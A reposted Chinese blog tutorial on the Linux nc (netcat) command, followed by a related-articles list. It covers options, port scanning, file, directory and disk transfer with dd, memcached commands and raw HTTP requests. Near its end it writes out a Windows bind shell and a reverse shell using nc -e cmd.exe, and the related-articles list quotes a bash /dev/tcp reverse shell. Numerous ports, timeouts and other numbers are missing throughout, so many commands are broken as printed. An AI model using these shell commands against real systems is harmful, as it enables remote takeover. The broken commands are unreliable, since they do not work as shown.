linux nc命令使用详解

功能说明:功能强大的网络工具
语  法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
参  数:
-g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源位址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 详细输出--用两个-v可得到更详细的内容
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。 nc使用示例 . 端口扫描
# nc -v -w 192.168.2.34 -z -
nc: connect to 192.168.2.34 port (tcp) failed: Connection refused
Connection to 192.168.2.34 port [tcp/ssh] succeeded!
nc: connect to 192.168.2.34 port (tcp) failed: Connection refused
nc: connect to 192.168.2.34 port (tcp) failed: Connection refused 2. 从192.168.2.33拷贝文件到192.168.2.34
在192.168.2.34上: nc -l > test.txt
在192.168.2.33上: nc 192.168.2.34 < test.txt . 简单聊天工具
在192.168.2.34上: nc -l
在192.168.2.33上: nc 192.168.2.34
这样,双方就可以相互交流了。使用ctrl+C(或D)退出。 4. 用nc命令操作memcached
)存储数据:printf “set key 6rnresultrn” |nc 192.168.2.34
)获取数据:printf “get keyrn” |nc 192.168.2.34
)删除数据:printf “delete keyrn” |nc 192.168.2.34
)查看状态:printf “statsrn” |nc 192.168.2.34
)模拟top命令查看状态:watch “echo stats” |nc 192.168.2.34
)清空缓存:printf “flush_allrn” |nc 192.168.2.34 (小心操作,清空了缓存就没了) 5. nc -p 1234 -w 5 host.example.com 80
建立从本地1234端口到host.example.com的80端口连接,5秒超时
nc -u host.example.com
u为UDP连接 6. echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80
连接到主机并执行 7. nc -v -z host.example.com 70-80
扫描端口(70到80),可指定范围。-v输出详细信息。 . 远程拷贝文件
从server1拷贝文件到server2上。需要先在server2上,用nc激活监听, server2上运行: root@hatest2 tmp]# nc -lp > install.log server1上运行: [root@hatest1 ~]# ll install.log
-rw-r–r– root root 12月 install.log
[root@hatest1 ~]# nc -w 192.168.228.222 < install.log . 克隆硬盘或分区
操作与上面的拷贝是雷同的,只需要由dd获得硬盘或分区的数据,然后传输即可。
克隆硬盘或分区的操作,不应在已经mount的的系统上进行。所以,需要使用安装光盘引导后,进入拯救模式(或使用Knoppix工 具光盘)启动系统后,在server2上进行类似的监听动作:
# nc -l -p | dd of=/dev/sda server1上执行传输,即可完成从server1克隆sda硬盘到server2的任务:
# dd if=/dev/sda | nc 192.168.228.222 ※ 完成上述工作的前提,是需要落实光盘的拯救模式支持服务器上的网卡,并正确配置IP。 . 保存Web页面
# while true; do nc -l -p -q < somepage.html; done . 模拟HTTP Headers,获取网页源代码和返回头部信息 [root@hatest1 ~]# nc www.linuxso.com
GET / HTTP/1.1
Host: ispconfig.org
Referrer: mypage.com
User-Agent: my-browser HTTP/1.1 OK
Date: Tue, Dec :: GMT
Server: Apache/2.2. (Unix) DAV/ mod_mono/1.2. mod_python/3.2. Python/2.4. mod_perl/2.0. Perl/v5.8.8
Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=, pre-check=
Pragma: no-cache
Cache-Control: private, post-check=, pre-check=, max-age=
Set-Cookie: oWn_sid=xRutAY; expires=Tue, -Dec- :: GMT; path=/
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html
[......]
在nc命令后,输入红色部分的内容,然后按两次回车,即可从对方获得HTTP Headers内容。 . 传输目录
从server1拷贝nginx-0.6.34目录内容到server2上。需要先在server2上,用nc激活监听,server2上运行:
引用 [root@hatest2 tmp]# nc -l |tar xzvf -
server1上运行:
引用 [root@hatest1 ~]# ll -d nginx-0.6.
drwxr-xr-x - : nginx-0.6.
[root@hatest1 ~]# tar czvf – nginx-0.6.|nc 192.168.228.222 .REMOTE主机绑定SHELL
例子: 格式:nc -l -p -t -e c:\winnt\system32\cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口 .REMOTE主机绑定SHELL并反向连接
例子: 格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192..x.x的TCP5354端口
以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。

linux nc命令使用详解(转)的更多相关文章

  1. (转)linux nc命令使用详解

    linux nc命令使用详解 原文:https://www.2cto.com/os/201306/220971.html 功能说明:功能强大的网络工具 语 法:nc [-hlnruz][-g<网 ...

  2. linux nc命令使用详解

    功能说明:功能强大的网络工具 语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p ...

  3. Linux Shell脚本编程--nc命令使用详解

    linux nc命令使用详解     功能说明:功能强大的网络工具 语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>] ...

  4. (转)Linux curl命令参数详解

    Linux curl命令参数详解 命令:curl在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具.它支持文件的上传和下载,是综合传输工具, ...

  5. (转)linux paste命令用法详解

    linux paste命令用法详解原文:http://www.xfcodes.com/linuxcmd/mulu/10211.htmlinux下paste命令,可用于合并文件的列. 功能说明:合并文件 ...

  6. Linux帮助命令man详解

    命令man详解 命令man,可以获得命令(使用whatis命令可以得到一个命令的简短介绍,可以使用:命令 --help 来获得命令的选项说明)或配置文件的帮助信息(可以使用apropos命令仅查看配置 ...

  7. linux dd命令实用详解

    linux dd命令刻录启动U盘详解 dd命令做usb启动盘十分方便,只须:sudo dd if=xxx.iso of=/dev/sdb bs=1M 用以上命令前必须卸载u盘,sdb是你的u盘,bs= ...

  8. Linux常用命令与详解

    在Linux系统中文件删除.创建.更改等操作都是通过一个个不同的命令来完成我们想要的操作,那么什么是命令呢? 凡是在字符操作界面中输入的能够完成特定操作和任务的字符串都可以称为命令.严格来说,命令通常 ...

  9. nc命令使用详解

    反弹shell方法: 反弹端:bash -i >&  /dev/tcp/10.0.0.1/8080 0>&1  或 bash -i &>  /dev/tcp/ ...

随机推荐

  1. 【Asp.net入门01】动态网站基础知识

    本节将介绍: 网站搭建流程 动态网站相关基础概念 网页的访问原理 使用浏览器访问网站是我们几乎天天在做的事情.以前我们只需要关注网页内容,作为网站开发人员,从现在开始我们要关注更深层次的东西了. 1. ...

  2. Dockerfile 部署 nodejs

    1.编写.dockerignore 构建镜像时,并不需要node_modules目录等内容,可以使用.dockerignore忽略一些文件 # .dockerignore Dockerfile nod ...

  3. [Luogu 3275] SCOI2011 糖果

    [Luogu 3275] SCOI2011 糖果 第一道差分约束.感谢 AZe. 我的理解是根据一些不等关系建一个图,在图上边跑一个最长路(有时候是最短路). 因为可能存在负环,所以必须用 SPFA! ...

  4. jenkins+testNg+maven+git+selenium自动化集成

    准备环境,提前安装好Jenkins及git,maven插件 1.首先我们新建一个maven的工程,并且在pom.xml中配置好我们依赖的一些jar包 <?xml version="1. ...

  5. android获取APP 包名和activity

    1.连接设备并启动被测试app应用 2.打开cmd窗口 3.windows获取包名和activity    adb shell dumpsys activity |find "mFocuse ...

  6. 监控Elasticsearch的插件【check_es_system】

    监控Elasticsearch的插件推荐  强大的shell脚本 #!/bin/bash ####################################################### ...

  7. 《Two Dozen Short Lessons in Haskell》(二十二)递归

    <Two Dozen Short Lessons in Haskell>(Copyright © 1995, 1996, 1997 by Rex Page,有人翻译为Haskell二十四学 ...

  8. nodejs使用记录

    安装 下载64or32的安装程序,狂点下一步,无脑安装.然后检查一下: npm 使用npm -v命令检查npm是否可用 然后我们就可以使用npm了,npm语法如下: npm install <M ...

  9. 用代码从文件中导入数据到SQL Server

    引言 导入数据到SQL Server 是常见的需求,特别是定期导入这种需求. 对于定期导入主要有以下几种方式可选择: Bulk Insert Bcp Utility OpenRowSet 写程序导入( ...

  10. 9、StringBuffer和StringBuilder

    StringBuffer简介 StringBuffer是一个字符串缓冲区,如果需要频繁的对字符串进行拼接时,建议使用StringBuffer.工作原理StringBuffer的底层是char数组,如果 ...